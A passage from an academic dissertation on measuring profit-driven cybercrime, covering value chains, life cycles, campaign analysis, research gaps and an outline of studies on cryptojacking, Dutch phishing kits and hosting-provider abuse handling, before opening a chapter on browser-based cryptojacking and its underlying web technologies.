249]. Specialized third parties provide resources concerning both products (e.g., soft-
ware) and services (e.g., hosting services), but are not necessarily criminals themselves.
A phishing kit developer is obviously criminal, but the Certificate Authority that supplies
TLS certificates for serving a phishing website over HTTPS can not be criminalized. At
every component in the value chain, a criminal selects the necessary resources, either
by self-organizing or outsourcing them. Some resources can be acquired from multiple
suppliers for different prices (e.g., domain names) and can easily be replaced, whereas
other resources are scarce and can only be acquired from a single supplier for a set price
(e.g., malware binaries). Every resource comes with a price and an accompanying return
on investment value, reflected by the durability and the quality of the resource [239]. This
‘value add’ is an important aspect of determining interdependencies in the underground
market, as it is fragile to price increases and thus a target for interventions, according to
Thomas et al. [239]. When outsourcing resources to specialized third parties, each spe-
cialist will take a cut. Hence, to avoid these cuts or to expand operations, cybercriminals
can decide to self-organize components in the value chain themselves. We refer to prac-
tice this as vertical integration in the value chain [239]. For example, when phishing kit
developers deploy their own phishing kit. By doing so, criminals become less dependent
on other actors and can potentially increase their profits. However, removing specialized
partners from the value chain could also decrease the quality of execution, making crim-
inals more vulnerable to being caught by law enforcement. Horizontal integration indi-
cates that a component in the value chain is present in multiple cybercrime value chains.
(Bulletproof) hosting providers are a good example of such horizontal integration, with
their services being present in almost all criminal business models. Operating a hori-
zontally integrated service generally improves the quality (mostly due to economies of
scale), but becoming too large could result in unwanted attention from law enforcement,
identifying it as a facilitator of crime [239].
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LIFE CYCLES

A different lens to analyze cybercriminal operations covering one or more components
in the value chain is through the analysis of life cycles, sometimes referred to as end-
to-end life cycles [144, 183]. In contrast to value chains – which are structured around
the added value of resources in executing a cybercrime – life cycles allow for sequen-
tial measurements over time in or over multiple components that reflect the different
stages of executing a cybercrime. Measurements of timestamps of key events within the
execution of cybercrime are, therefore, the main focus of life cycle analysis and allow
for crucial insights into the speed of cybercriminal operations. Past researchers have
been leveraging life cycles to study, among others, spam [144], phishing [183], and ran-
somware [102]. Just as value chains differ per type of cybercrime, so do life cycles differ
per study. In the life cycle analysis of spam by Levchenko et al. [144], the life cycle is
defined as all steps between the arrival of a spam email and the delivery of the product,
ranging from domain names, payment infrastructure, to shipping services. This thus
includes the deployment, execution, and monetization components in the value chain.
Analysis of ransomware by Huang et al. [102] defines their life cycle measurement from
the moment a victim retrieves the ransomware payload to the moment paid Bitcoin ran-
som is liquidated by ransomware operators – hereby covering the execution and mone-
tization components of the value chain. The blue rectangles in Figure 1.1 depict another
life cycle covering the deployment and execution components, during which a criminal
installs, tests, operates, and dismantles a malicious website. Given a resource obtained,
a cybercriminal needs to install this resource – either a phishing kit, mining script, or
malware binary – at some location. When installed successfully, testing is necessary to
ensure the correct working of this resource. After testing, the resource is ready for use,
waiting for its victims. Discontinuation can be the result of many causes and is initiated
by either the cybercriminal itself or by other parties. For example, the discontinuation
of a phishing domain could be the result of a notice-and-takedown (NTD) urging the
hosting provider to remove the malicious website or the actor itself after being listed on
a blocklist.

CAMPAIGN ANALYSIS

The last lens researchers use to analyze cybercriminal operations is by performing cam-
paign analysis, which refers to the practice of attributing multiple attacks to the same
actor (group) by identifying unique, overlapping resources or techniques [106]. The term
was first introduced by researchers examining spam [55] but is nowadays used to clus-
ter all kinds of cybercrime. A cluster of cybercriminal operations attributed to an actor
is referred to as a campaign, and tracking such clusters allows researchers to improve
their understanding of this actor’s TTPs. Campaign analysis has been performed by sev-
eral scholars in the past [58, 127, 139, 190, 199] but can be found more commonly out-
side academia at security researchers working for various threat intelligence groups like
Google’s TAG [91] or Palo Alto’s Unit42 [188]. For example, they show commonly used
software (resources in the development component), popular means of malicious pay-
load delivery (resources in the execution component), or the use of mixing services (a
resource in the monetization component). Such information is pivotal for designing ef-
fective defenses or interventions to stop these cybercrimes. For example, when numer-
ous phishing attacks can be attributed to the same actor and this actor uses one specific
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Figure 1.2: The academic disciplines engaged in cybercrime measurement are represented along the Y-axis,
while the varying amount of value chain components included in the analyses are depicted on the X-axis.

hosting company, a straightforward intervention for law enforcement would be to de-
mand that this hosting provider share the identity of the criminal behind these websites.
However, as cybercriminals can easily switch hosting providers, the question arises as to
what the long-term effects of such an intervention would be.

1.1.3. INTERNET MEASUREMENTS & CRIMINOLOGY
As the word cybercrime suggests, measurements of profit-driven cybercrime involve
two disciplines of academic research: Internet measurements (cyber) and criminology
(crime). Both are aimed at identifying the TTP that cybercriminals employ [239] but ap-
proach their measurements in a totally different way [109]. As a result, both approaches
come with their advantages and challenges.

INTERNET MEASUREMENTS

Academic work originating from the discipline of Internet measurements, shown on
top of the Y-axis in Figure 1.2, is centered around (the creation of novel techniques
to) measure the resources used in profit-driven cybercrime or on a specific technical
capability or component within the value chain. Authors often deploy their (novel)
measurement techniques ‘in the wild’ [124, 172, 241, 263] to examine (a part of) the
Internet to estimate the prevalence of a certain cybercrime. For example, to identify
websites that employ cryptojacking, Parra Rodriguez et al. [205] proposed RAPID, Liu et
al. [149] created BMDetector and Hong et al. [101] built CMTracker, all published within
one year. Each of these studies created robust technology to identify cryptojacking
websites. Similarly, in the field of phishing, researchers are constantly crafting new
methods to detect phishing websites with ever-rising accuracy. From using simple
term frequency algorithms by Zhang et al. [262] back in 2007 to applying advanced
ensemble learning in more recent work by Kalabarige et al. [119] in 2022. Such research
comes with several advantages. It often requires no data from external parties, such
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as difficult-to-acquire police records or access to cybercrime victims or offenders, as
researchers are free to design their data-gathering methodologies and can collect the
data from the Internet themselves. Automated Internet measurements can run for
extensive periods of time, ranging from months to years, allowing longitudinal analyses
on large datasets. However, this freedom comes with a caveat: selecting the right
dataset. Deploying a measurement system to analyze the entire Internet is practically
impossible. Hence, studies will always analyze a subset from which to extrapolate.
Disadvantages of performing Internet measurements are the difficulty of creating a
representative dataset from which to extrapolate and the lack of data concerning the
human impact of cybercrime. For example, multiple researchers [101, 172] assessed
the scale of cryptojacking by crawling (parts of) the one million most popular websites
listed in the Alexa Top 1M [3]. However, as Scheitle et al. pointed out in their research
on the use of such top lists in scientific studies, these top lists “generally overestimate
results compared to the general population by a significant margin, often even an order
of magnitude” (Scheitle et al. [213]). On top of that, we position the global cybercrime
measurements performed by security vendors, who have a clear incentive to exaggerate
their findings to increase their profits [6]. Additionally, Internet measurements pay
no attention to the human beings involved, neither the victims nor the perpetrators.
Measuring the amount of online malicious activity does not reveal how many people fell
victim, what the average amount of money lost was, or what impact the attack had on
someone’s well-being. Those questions are typically answered by research originating
from the other discipline in Figure 1.2: criminology.

CRIMINOLOGY

In contrast to Internet measurements, criminologists study the human beings involved
in cybercrime to provide theories and conceptual frameworks as ways to think and
reason about crime and social control. They do that through various quantitative as
well as qualitative methodologies, as illustrated at the bottom of the Y-axis in Figure 1.2.
There is an ongoing debate within criminology regarding quantitative and qualitative
approaches, which is well characterized by Christie [33]. He differentiated between ‘near
data’, which includes information pertaining to a small number of participants while
providing rich insights, and ‘distant data’, such as large datasets stemming from surveys
or large amounts of case files, but provides little in-depth understanding. Both types of
data can be gathered through direct observations (e.g., direct interactions with crim-
inals) or indirect observations (e.g., written documents like diaries or police reports).
Information on cybercrime victims and perpetrators can originate from, among others,
police reports [150], victim studies [200], or public surveys [24]. Qualitative academic
studies based on police records are characterized by their great level of detail regarding
cybercriminal value chains, economic decision-making, and human psychology, but
also by the relatively small dataset sizes. For example, a study on phishing by Loggen
& Leukfeldt unraveled the crime scripts of phishing networks in the Netherlands [150].
Their work shares detailed insights into the modus operandi of these cybercriminals
but is based on only 45 court cases in the Netherlands. As a consequence, this work
only covers known criminal cases and arrested offenders. Another study, by Schiks et
al., performed an offender study that compared the intellectual capabilities of cyber-
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criminal suspects to traditional convicted criminals and the general population [214].
It shared interesting insights into cybercriminals, but is again based on a relatively
small dataset of 429 persons, of which 143 were suspects of cybercrime. Both studies
examined the behavior of cybercriminals who have been identified after a successful
police investigation. However, as only a small portion of cybercrime is reported to
the police [59], and an even smaller portion of cases result in an arrest, using solely
police reports will likely lead to an underestimation of the scale of cybercrime. To
cope with this limitation, some researchers perform quantitative research by setting up
large-scale surveys to question citizens directly about their cybercrime experiences. For
example, Breen et al. reported on the first large-scale academic survey of consumer
cybercrime experiences in the United States [24]. In 2022, over 11k participants filled in
a survey, which showed that cybercrime against individual citizens is rare – most types
of cybercrime are experienced by less than 1% of the population – and causes a median
loss of $100 [24]. A similar study in the Netherlands in 2013 showed that 8.5% of all
Internet users fell victim to some type of cybercrime and that most participants deemed
financial institutions and website owners responsible for the security of the Internet,
rather than the police [57].

Both approaches to measuring cybercrime have their strengths and weaknesses: Inter-
net measurements stemming from Computer Science allow for obtaining a broad pic-
ture of a certain cybercrime involving many data points, but come with dataset selection
challenges and are not focused on gathering in-depth insights into cybercriminal oper-
ations. Criminologists often present this level of detail, but their findings are narrowly
scoped and gathered from smaller datasets (e.g., ‘near data’ research). Despite the large
body of work produced by both disciplines, their research efforts have remained mostly
disjoint, with researchers on one side not benefiting from the advancements proposed
by the other [109]. In line with the few scholars that are already bridging this gap [47, 144,
224, 239], we hypothesize that combining both approaches into socio-technical mea-
surements of cybercrime, hereby performing Internet measurements while taking crim-
inology aspects into account, could result in improved measurements. What innovations
are there to be made to perform such measurements? How to perform cybercrime mea-
surements to assist in cybercrime governance? The next section identifies such knowl-
edge gaps in the current state of the art, followed by a specification of the research aim.
The latter section also introduces the main research question and its sub-questions.

1.2. RESEARCH GAPS

Given the background on cybercrime outlined in the previous section, the presenta-
tion of various measurement lenses to structure the analysis of profit-driven cybercrime,
and the potential synergy between criminology and Internet measurements, we identify
three gaps in existing scientific literature and detail them in the following paragraphs.

INNOVATIONS IN INTERNET MEASUREMENTS FOR EMERGING CYBERCRIMES

The rise of new and emerging types of cybercrime requires scientific innovations to mea-
sure them. In 2019, browser-based cryptojacking gained popularity among cybercrimi-
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nals as a means to earn a profit from stolen computing power. Several researchers started
designing techniques to detect illicit in-browser cryptomining activity [101, 127, 149,
199, 205, 207], yet little attention was paid to determining the scale of this cybercrime
(i.e., assessing its prevalence among Internet users) or investigating large campaigns of
cryptomining websites related to a shared actor. Modest explorations into such cam-
paigns have been made by several researchers [63, 127, 199], yet no study systematically
examined these campaigns in-depth and identified common denominators or shared
origins. Additionally, websites are just one attack vector that can be leveraged to dis-
tribute illicit cryptomining scripts. No research had been conducted into other means of
distribution, such as MITM attacks on compromised Internet infrastructure. We con-
sider the lack of in-depth cryptojacking campaign analysis, systematic analysis of its
prevalence among Internet users, and an investigation of the MITM attack vector as our
first research gap we should address.

JURISDICTION-FOCUSED INTERNET MEASUREMENTS OF CYBERCRIME

As explained in § 1.1.3, qualitative studies stemming from criminology often examine
cybercrime with a narrow scope, focused on a specific jurisdiction or region. Exam-
ples of such include the work of Domenie et al. [57] on the victimization of cybercrime
within the Netherlands or a study by Leukfeldt [142] that examined criminals involved
in phishing, concentrated within one neighborhood in Amsterdam. Such demarcations
are scarce in Internet measurements due to the global character of the modern-day In-
ternet. Jurisdiction-focused measurements – or measurements demarcated by a specific
linguistic area – can be executed by fewer researchers simply because fewer researchers
have the required knowledge. Additionally, since top-tier academic venues for Internet
measurements are keener on global measurements because of their generalizability and
perceived applicability to the entire academic population, academic incentives to per-
form jurisdiction or geographically-focused Internet measurements of cybercrime are
lacking. Although various previous studies hinted at the importance of spatiality in cy-
bercrime measurements [73, 98, 181], there is no abundance of studies involving Internet
measurements of cybercrime focused on the Netherlands. We identify the low amount of
such jurisdiction-focused measurements with actionable results for the global Internet
as our second research gap.

HOW HOSTING COMPANIES HANDLE ABUSE TO FIGHT CYBERCRIME

Besides law enforcement and policymakers, there is an important role in the fight against
cybercrime reserved for a variety of organizations and mechanisms operating within
the anti-abuse ecosystem. Within this ecosystem, there are parties reporting the ex-
istence of malicious content to the intermediaries or facilitators hosting it. Hosting
providers can decide to notify the customer owning this content or to remove the con-
tent themselves [116]. Although abuse handling has been around for many years, little
is known about the internal decision-making processes within hosting providers to deal
with abuse reports. Past studies have predominantly taken an external point of view
and analyzed how abusive content – e.g., phishing sites, spamming activity, and mal-
ware C&C servers – are allocated across providers [219, 232]. Such studies, however, lack
insights into the internal dynamics of the respective companies. Does the provider act
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on the abuse report and notify the client? Does it take action against abusive clients?
Companies that are perceived as not swiftly responding to abuse reports are often re-
ferred to as ‘bulletproof’ or ‘bad’ hosters. That is, they are seen as impervious to abuse
reports [4]. Some characteristics of bulletproof hosting have been described in both ear-
lier work [86, 180] and industry reports [153]. By calling a company a ‘bulletproof’ hoster,
one assumes intent – i.e., knowingly ignoring abuse reports and enabling abuse. Yet, one
cannot measure intent by looking from the outside through external abuse data. This
requires an inside view, which is very hard to obtain. Since no existing scientific studies
have been able to achieve this inside view of a hosting company managing its abuse, we
consider this our third research gap.

SCIENTIFIC MEASUREMENTS TO ASSIST GOVERNANCE
Besides the three already-identified research gaps related to empirical measurements
of both cybercrime and its remediation within the anti-abuse ecosystem, we identify a
fourth research gap as soon as the other gaps have been resolved. That is, how can these
cybercrime measurements assist in disrupting cybercrime? What kind of information
related to cybercrime is essential for designing evidence-based governance strategies?
Some previous cybercrime measurement studies stated that (their) measurements
are of great value for, for example, law enforcement agencies. As illustrated by van
Wegberg, “understanding these interactions would help creating better evidence-based
law enforcement strategies” (van Wegberg [249]), or, as Thomas et al. put it, “a system-
atized understanding of underground relationships is crucial to developing effective,
long-lasting countermeasures” (Thomas et al. [239]). These statements illustrate that
some academics are convinced that their scientific measurements of cybercrime could
assist governance, yet we found no scientific proof for these claims. We define the
lack of knowledge regarding the practicality and actionability of scientific cybercrime
measurements for governance as the fourth research gap that needs to be resolved.

In short, we identify the following four gaps in state-of-the-art academic research:

1. We lack innovative methods to perform socio-technical measurements examining
upcoming cybercrime phenomena.

2. We do not find many jurisdiction-focused Internet measurements of cybercrime
that apply directly to cybercrime in the Netherlands.

3. We lack an inside view into the abuse-handling practices of hosting companies to
study the effects of mechanisms within the anti-abuse ecosystem.

4. We do not know how information gained from cybercrime measurements can as-
sist in effectively designing governance to fight cybercrime.

We employ five research activities to fill these four gaps. We start by selecting crypto-
jacking as a cybercrime to perform multiple large-scale socio-technical measurements
to estimate its prevalence among Internet users and assess to what extent cryptojack-
ing is part of organized cybercriminal activity by performing campaign analysis. In the
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second study, we dive deeper into campaign analysis by researching large cryptojack-
ing campaigns on compromised Internet infrastructure. Thereafter, we shift focus and
perform a local measurement of phishing focused on the Netherlands through a com-
bination of value chain and life cycle analysis. Then, to address our third research gap,
we perform a socio-technical measurement of a horizontally integrated resource present
in many cybercrime value chains: hosting services. From scrutinizing a hosting service
provider with a reputation for abuse using ground-truth data, we learn what governance
instruments effectively reduce cybercrime and assess the effects of certain mechanisms
within the anti-abuse ecosystem. We resolve the fourth identified research gap in our last
study by reviewing how previous researchers performed their large-scale Internet mea-
surements of cybercrime and by assessing how applicable these studies are for law en-
forcement by letting law enforcement professionals reflect on previous academic work.

1.3. RESEARCH AIMS & QUESTIONS
This dissertation studies the challenges of performing socio-technical measurements of
profit-driven cybercrime. We investigate how cybercrime can be measured adequately
and how insights gained from these measurements can improve governance. Given the
research gaps identified in § 1.2 and the research aim stated above, we identify the main
research question as follows:

How to perform socio-technical measurements of cybercrime to assist in
cybercrime governance?

As shown by this central research question, the focus of this dissertation is to under-
stand and perform measurements of cybercrime to assist in creating better governance
to fight cybercrime. We leverage the concepts of cybercriminal value chains, life cycles,
and campaign analysis to structure, analyze, and measure different types of cybercrime.
Building on the knowledge from both Internet measurements and criminology, we set
out to discover how to perform socio-technical cybercrime measurements to assist in
creating better-informed governance strategies. Therefore, the scientific contribution
of this work lies in the designed and used methods to gather actionable insights and
not necessarily in the empirical results gained from the individual studies themselves.
Measurements of cybercrime can become outdated quickly as the cybercrime landscape
changes rapidly. However, the methods proposed and used to obtain these results re-
main relevant and can be considered the main contribution of this dissertation. There-
fore, we contribute to science and society by showcasing methods to create evidence-
based governance to fight cybercrime. This could aid legislators in writing data-driven
criminal law, help policymakers formulate evidence-based approaches, and assist law
enforcement agencies in guiding their investigations to maximum effect. To answer the
research question mentioned above, we follow a mixed-methods approach that lever-
ages Internet measurements and criminology to analyze not just one but several cyber-
crimes. Within these research activities, we leverage the technical work produced by
other scholars and design new techniques ourselves. The five studies that make up this
dissertation are explained in further detail in the following paragraphs. Due to the aim
of our study, this research demands different methods for our analyses and is multi-
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disciplinary at its core. Consequently, we utilize both quantitative and qualitative meth-
ods throughout this work. As this is a paper-based dissertation, the research methodol-
ogy will be individually elaborated upon in each chapter.

1.4. DISSERTATION OUTLINE
This section outlines the remainder of this dissertation. It describes the five studies with
their corresponding research questions and presents an overview of the peer-reviewed
papers associated with each study and chapter. Table 1.2 lists this overview, including
the names of the collaborating researchers.

STUDY 1 – ESTIMATING CRYPTOJACKING PREVALENCE ON THE WEB
Illicit cryptomining on websites has skyrocketed since 2017 and requires innova-
tive methods to study its prevalence. In this first study, we designed a large-scale
socio-technical measurement to accurately estimate the prevalence of this new type
of cybercrime. Two extensive Internet measurements were performed to examine
Web-based cryptojacking – one focused on organized cryptomining and one on the
prevalence of cryptojacking on the entire Internet. We use a combination of data
sources to build a representative dataset for our measurements and leverage previous
academic work to crawl numerous domains and search for overlapping resources
used in cryptojacking campaigns. We identify the commonly used attack vector for
cryptojacking, the most prevalent category of websites affected, and stumble upon large
cybercriminal campaigns.

In short, this study aims to answer the following research question:

RQ1: What is the prevalence of (organized) cryptojacking on websites, and
what tactics, techniques, and procedures are used to deploy this?

STUDY 2 – EXAMINING CRYPTOJACKING ON COMPROMISED INFRASTRUC-
TURE
During the first study, it became clear that cryptojacking is not only present on web-
sites but that certain threat actors also installed malicious cryptojacking scripts on com-
promised Internet infrastructure, such as ISP and consumer-grade routers. Through
a firmware vulnerability in MikroTik routers, cybercriminals could rewrite Web traffic
flowing through these routers and inject it with malicious cryptojacking code. Follow-
ing this attack vector revealed a completely new realm of cryptojacking activity, much
larger and more organized than any website-based cryptojacking. Based on NetFlows
recorded in a Tier 1 network, semiweekly Internet crawls, and network telescope traf-
fic, we examine the modus operandi of these cybercriminals. We show how these large
installations of cryptojacking attacks relate to each other and sketch the life cycles of in-
fected infrastructure. Additionally, we perform campaign analysis to identify different
levels of sophistication among adversaries.

In short, this study aims to answer the following research question:

RQ2: How do cybercriminals set up large-scale cryptojacking campaigns on
Internet infrastructure?
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STUDY 3 – INVESTIGATING THE DUTCH PHISHING LANDSCAPE
Another cybercrime we study is phishing, which is the illicit harvesting of user creden-
tials. Although many phishing studies have been published [58, 119, 139, 241, 262], an
in-depth analysis of the cybercriminal TTP targeted at Dutch citizens was lacking. For
this research, we specifically focused on the first component in the phishing value chain:
development. This component involves developing and trading phishing kits used in
phishing attacks. We collect many such phishing kits, leverage the use of TLS certificates
by phishers, and develop a crawler to uncover phishing domains aimed at customers of
the Dutch financial sector. This allowed us to capture the end-to-end life cycle of such
phishing attacks and investigate the luring capabilities to trick victims into disclosing
their credentials. These insights enabled us to paint a comprehensive picture of the TTP
prevalent in the Dutch phishing landscape and present public policy takeaways for anti-
phishing initiatives.

In short, this study aims to answer the following research question:

RQ3: What is the role of phishing kits within the Dutch phishing ecosystem?

STUDY 4 – SCRUTINIZING INTERNET ABUSE HANDLING IN THE WILD
Besides law enforcement actions, various other instruments have been put into place
to fight Internet abuse (e.g., cybercrime). These instruments range from legislation to
remove copyrighted material to technical instruments such as blocklists to stop spam.
They rely on industry standards for abuse reporting: reporting abuse to the resource or
network owners requesting mitigation. Through a unique collaboration with law en-
forcement in the Netherlands, we were granted access to the operational back-end of
a hosting provider with a reputation for abuse. We examine its abuse tickets and their
follow-up actions to investigate what mechanisms in the anti-abuse ecosystem influ-
ence anti-abuse actions. Such insights can, in turn, inform policymakers and law en-
forcement agencies to align governance repertoire with abuse handling in practice.

In short, this study aims to answer the following research question:

RQ4: What mechanisms in the anti-abuse ecosystem influence anti-abuse ac-
tions?

STUDY 5 – INTERNET MEASUREMENTS AND CYBERCRIME POLICING
As stated in § 1.2, measuring cybercrime has been the subject of many scientific pub-
lications in the past. These quantifications are typically based on large-scale Internet
measurements of resources such as domains, binaries, or attack traffic. We leverage
the concept of value chains to structure 38 studies featuring measurements of phish-
ing, booter services, and remote access trojans (RATs). We review how other scholars
have set up their measurements of these profit-driven cybercrimes, examine their meth-
ods, and assess the data sources they used to identify common denominators. Then,
we let law enforcement professionals reflect on some of these measurements and jointly
identify the unexplored potential for novel measurements that could solve current needs
in cybercrime policing. Combining the input from law enforcement with the structured
analysis of previous academic measurements allowed the identification of what charac-
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teristics of scientific measurements are useful for law enforcement – i.e., assisting LEAs
in determining how their scarce resources can be best put to use.

In short, this study aims to answer the following research question:

RQ5: What are the characteristics of cybercrime measurements that could as-
sist law enforcement in improved cybercrime policing?

Table 1.2 lists an overview of the chapters in the remainder of this dissertation and the
peer-reviewed studies that they are based on. Chapter 7 completes this dissertation with
a summary of the main findings, a reflection on the results, and directions for future
research.

Table 1.2: Dissertation outline.

Chapter Publication

Ch. 2 Bijmans, H.L.J., Booij, T.M. & Doerr, C. (2019). “Inadvertently Making
Cyber Criminals Rich: A Comprehensive Study of Cryptojacking Cam-
paigns at Internet Scale”. In Proceedings of the 28th USENIX Security
Symposium (USENIX Security ’19). [16]

Ch. 3 Bijmans, H.L.J., Booij, T.M. & Doerr, C. (2019). “Just the Tip of the Ice-
berg: Internet-Scale Exploitation of Routers for Cryptojacking”. In Pro-
ceedings of the 2019 ACM SIGSAC Conference on Computer and Commu-
nications Security (CCS 2019). [17]

Ch. 4 Bijmans, H.L.J., Booij, T.M., Schwedersky, A., Nedgabat, A. & van Weg-
berg, R.S. (2021). “Catching Phishers By Their Bait: Investigating the
Dutch Phishing Landscape through Phishing Kit Detection”. In Proceed-
ings of the 30th USENIX Security Symposium (USENIX Security ’21). [15]

Ch. 5 Bijmans, H.L.J., van Eeten, M.J.G. & van Wegberg, R.S. (2025). “Tick-
ets to Hide: Scrutinizing the Anti-Abuse Ecosystem with Internal Abuse
Data”. Under submission at NDSS’26

Ch. 6 Bijmans, H.L.J., van Eeten, M.J.G. & van Wegberg, R.S. (2025). “A Mea-
sured Response – On the Nexus of Large-Scale Technical Measurements
and Cybercrime Policing”. In Proceedings of the 24th Workshop on the
Economics of Information Security (WEIS ’25). [18]
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ESTIMATING CRYPTOJACKING

PREVALENCE ON THE WEB

Since the release of a browser-based cryptominer by Coinhive in 2017, the easy use of these
miners has skyrocketed illicit cryptomining in 2017 and continued in 2018. This method
of monetizing websites attracted website owners, as well as criminals, seeking new ways
to earn a profit. In this chapter, we perform two large studies into the world of crypto-
jacking, focused on organized cryptomining and the spread of cryptojacking on the Inter-
net. We have identified 204 cryptojacking campaigns, an order of magnitude more than
previous work, which indicates that these campaigns are heavily underestimated by pre-
vious studies. We discovered that criminals have chosen third-party software – such as
WordPress – as their new method for spreading cryptojacking infections efficiently. With
a novel method of using NetFlow data, we estimated the popularity of mining applica-
tions, which showed that while Coinhive has a larger installation base, CoinImp Web-
Socket proxies were digesting significantly more traffic in the second half of 2018. After
crawling a random sample of 49M domains, ~20% of the Internet, we conclude that cryp-
tojacking is present on 0.011% of all domains and that adult content is the most prevalent
category of websites affected.

This chapter has been published as: Bijmans, H.L.J., Booij, T.M. & Doerr, C. (2019). “Inadvertently Making
Cyber Criminals Rich: A Comprehensive Study of Cryptojacking Campaigns at Internet Scale”. In Proceedings
of the 28th USENIX Security Symposium (USENIX Security ’19).
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2.1. INTRODUCTION
Unlike traditional currencies, such as the Euro or Dollar, cryptocurrencies are digital as-
sets created as a medium of exchange based on cryptography and a blockchain, which
are used to secure both the creation and transactions of units. In 2009, Satoshi Nakamoto
released Bitcoin [173], the first ever decentralized cryptocurrency, which made it possi-
ble to transfer monetary value to another person by creating a transaction and commit-
ting this to the blockchain, a list of blocks secured by cryptographic operations main-
tained by a peer-to-peer network of miners. These miners secure the blockchain by con-
stantly collecting transaction data from the network and validating it by solving crypto-
graphic challenges based on the previous block, the transaction, and the receiver of the
transaction. After validation, the confirmed transaction is inserted into the blockchain
again in the form of a validated block. As a reward, the miner gets cryptocurrency. This
network guarantees that only the rightful owner of a Bitcoin wallet can make transac-
tions and prevents malicious actors from inserting false information into the blockchain.

Solving these cryptographic challenges as a miner has, however, become so difficult
that Bitcoin cannot efficiently be mined anymore on regular PCs. Over the past years,
over 4,000 other cryptocurrencies have been created, so-called altcoins. One of them
is Monero (XMR), launched in 2014 and nowadays the most popular cryptocurrency in
browser-based mining [184]. In contrast to Bitcoin, Monero uses a private blockchain,
meaning that while anybody can use it to make transactions, nobody is allowed to view
them [236]. It also builds upon a different proof-of-work algorithm to validate its trans-
actions, called CryptoNight, a fork of CryptoNote [209]. This algorithm is designed to
be memory-hard and, therefore, requires a large set of bytes in memory to perform fre-
quent read and write operations. Simple consumer-grade CPUs have exactly that mem-
ory available at their processor caches, making this kind of mining the most efficient on
regular consumer-grade hardware. To speed up the mining process, mining jobs can be
distributed among individual miners in a mining pool. In such a pool, miners work to-
gether to mine new blocks and share the rewards. Work is distributed among miners in
the pool based on the difficulty of the cryptographic challenge. Consequently, power-
ful machines solve the more difficult puzzles, while low-end machines receive the easier
ones. Rewards are shared according to the same principle. Mining pools closely monitor
the submissions from their miners and state that they will block any wallet address after
receiving evidence that a wallet is used for malware or botnet activities [165].

The introduction of alt-coins that, by design, can be effectively mined on regular
PCs also made them an attractive target for cybercriminals. Both the private blockchain
and the ASIC-resistant mining algorithm of Monero quickly made Monero one of the
preferred choices. In addition to being included in malware [190], there also exist imple-
mentations to perform drive-by mining or cryptojacking, where cryptocurrency is mined
in the user’s web browser while visiting a website. While originally developed as an alter-
native mechanism to donate to the upkeep of a website in presence of now ubiquitous
ad-blockers, many methods exist to maliciously apply browser-based mining: for exam-
ple, criminals hack vulnerable websites to install mining scripts [34] or create malicious
advertisements with cryptojacking code that are displayed on benign websites [169], but
actors have also compromised routers [187] or setup malicious Wi-Fi networks [191] to
inject cryptominers into their users’ traffic.
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Previous studies have performed surveys on the use of cryptominers across the most
commonly visited websites and have identified groups of criminals installing cryptomin-
ers on a large number of domains for their own profit [127, 199]. It makes sense for a
cybercriminal to lure as many users as possible into such mining, which could be ac-
complished not only by deploying the cryptojacking code into popular websites but also
by hacking a large number of websites or injecting a resource such as a common library
that is used by a large number of unsuspecting websites. These individual installations
are working together in a coordinated campaign, thus significantly increasing the prof-
its of the criminal, but at the same time also indicating an elevated level of knowledge
and sophistication of the adversary. The presence and extent of such coordination are,
however, largely unknown.

In this chapter, we address this gap and systematically investigate the coordination
and collaboration of cryptojackers on the Internet and make the following four contri-
butions:

• We are the first to systematically analyze the relationships between websites that
perform cryptomining and the actors behind them. By this campaign analysis, we
find the existence of massive installations. In fact, we have identified 3 times as
much cryptojacking activity as Rauchberger et al. [199], and the five largest cam-
paigns we detected exceed the total size of cryptomining reported in Konoth et
al. [127].

• We show that the bulk of organized mining activity is the result of compromised
(parts of) third-party software and that comparatively little organized activity is
the result of hacked websites or an explicit choice to mine by the website owner.

• Through a survey of 1,136 top-level domains and by comparing the installation
base with actual mining traffic on the Internet using NetFlow data, we find that the
most prominently installed miner is actually not the one that generates the most
mining activity in practice. We also see that applications and attack vectors come
and go and that different TLD zones exhibit clear differences in mining application
popularity.

• Estimating cryptojacking by solely crawling the Alexa Top 1M results is an overes-
timation of the size, as we see that cryptojacking activity is almost 6 times higher
in that subset compared to the rest of the Internet.

To enable follow-up research, we make our data and software publicly available at
https://www.cyber-threat-intelligence.com/cryptojacking-campaigns.

2.2. BACKGROUND
WEBASSEMBLY & ASM.JS

To enable faster execution of code inside the browser, Mozilla developed asm.js, a tech-
nique for translating high-level languages, such as C and C++, into JavaScript to be used
by the browser [168]. Multiple validation methods enable the JavaScript engine to com-
pile this code ahead of time and improve execution speed. This technique made it pos-
sible to execute code faster inside the browser after its release in 2013.

https://www.cyber-threat-intelligence.com/cryptojacking-campaigns
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WebAssembly (Wasm) is a more recently released scripting language developed by
the World Wide Web consortium in 2017 and is able to compile high-level languages
like C, C++, and Rust inside the browser to be used in web applications [251]. It runs in a
sandbox within the browser, and it aims to execute as fast as native machine code. Wasm
is complementary to JavaScript, as it is controlled by JavaScript code after its compila-
tion. The difference between asm.js and Wasm is the fact that the latter is compiled only
once and is started directly at native speed. In contrast, code in asm.js is compiled and
optimized at run time, therefore decreasing execution speed. Both techniques are sup-
ported by all four major browsers (Chrome, Firefox, Edge and Safari) and have drastically
improved the execution speed of applications inside the browser, which made them very
attractive for browser-based mining.

WEBSOCKETS & STRATUM

WebSockets is an HTML5 protocol providing two-way communication between the
client and a server over a single TCP connection [253]. The protocol enables easy
real-time data transfer without refreshing (a part of) the web page. Communication is
done over the same TCP ports as the web browser, making it robust to strict firewall rules
or other blocking. Developers are free to define the format of messages sent over Web-
Socket connections. However, there is a protocol specifically designed for cryptomining
communications: the Stratum Mining Protocol, a line-based protocol with messages
encoded in plain-text JSON-RPC format [226]. Servers communicate with their clients
using Stratum to authorize new miners in the pool, distribute jobs based on difficulty
and retrieve found hashes from the miners. An example of a WebSocket connection
using the Stratum protocol is given in Table 2.1.

BROWSER-BASED MINING

Triggered by the rise of CPU-mineable cryptocurrencies (such as Monero) and the
rapid development of useful web standards (e.g., WebAssembly and the Stratum pro-
tocol), browser-based cryptomining gained enormous momentum in the autumn of
2017. Coinhive, a German company, created an easy-to-use browser-based mining
application as an alternative to advertisements [43, 136]. They provide a JavaScript
library, an API, and a WebSocket proxy infrastructure to developers to easily integrate a
browser-based miner into their website and let their visitors mine for Monero. 70% of
the mined Monero is transferred to the owner of the account, and the remaining 30% is
kept by Coinhive [44]. Soon after Coinhive released their miner application, similar ones
appeared, such as Cryptoloot [50] and Coin-Have [42]. Nowadays, miner applications
come and go, with various capabilities and usage fees, but Coinhive still has a prominent
place in the cryptojacking landscape.

OVERVIEW OF A CRYPTOJACKING ATTACK

